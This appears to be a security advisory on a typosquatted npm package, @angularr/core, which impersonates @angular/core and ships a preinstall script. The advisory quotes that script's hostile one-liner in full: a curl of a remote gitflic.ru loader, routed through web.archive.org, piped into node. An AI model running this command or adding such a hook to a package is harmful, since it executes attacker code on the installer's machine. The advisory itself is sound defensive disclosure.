If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

@angularr/core@1.0.67 impersonates @angular/core (by name only; its code is an unrelated library described as "Core Libs") and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

The package's npm preinstall lifecycle script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching a JavaScript payload from a third-party host and piping it directly to node for execution on every `npm install`. The destination (gitflic.ru under a user path `hellscripter/install-scripts`, routed via a web.archive.org proxy) is unrelated to any `@angular` publisher infrastructure, is unpinned, and is not integrity-checked. Whoever controls that path controls code execution on the installer's host. The package name `@angularr/core` is a one-letter variant of the widely-used `@angular/core`, increasing the likelihood of accidental installation.
